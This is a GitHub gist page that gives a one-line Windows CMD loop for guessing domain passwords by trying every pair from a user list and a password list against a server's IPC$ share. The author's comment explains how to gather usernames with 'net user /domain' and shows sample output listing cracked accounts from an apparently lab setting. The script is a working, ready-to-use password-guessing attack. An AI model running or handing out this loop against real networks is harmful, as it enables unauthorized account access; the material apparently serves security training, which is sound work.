Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Last active August 11, 2022 18:11
Show Gist options
  • Save joswr1ght/2aa609693e8aec13191fa13d4dc73749 to your computer and use it in GitHub Desktop.
Save joswr1ght/2aa609693e8aec13191fa13d4dc73749 to your computer and use it in GitHub Desktop.
Windows CMD Loop to Guess Passwords - edit SERVERIP in both places, using your target server IP. Set the DOMAIN value to your target domain.
@FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) DO @net use \\SERVERIP\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\SERVERIP\IPC$ > NUL
@joswr1ght
Copy link
Author

Obtain a user account list with net user /domain and create a small password list for pass.txt.

Returns output like this:

C:\Users\Sec504>@FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) DO @net use \\192.168.99.10\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\192.168.99.10\IPC$ > NUL
[*] ksmith:Password123
[*] bbrown:Password123
[*] jjones:Sunshine123
[*] edavis:Qwerty123

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment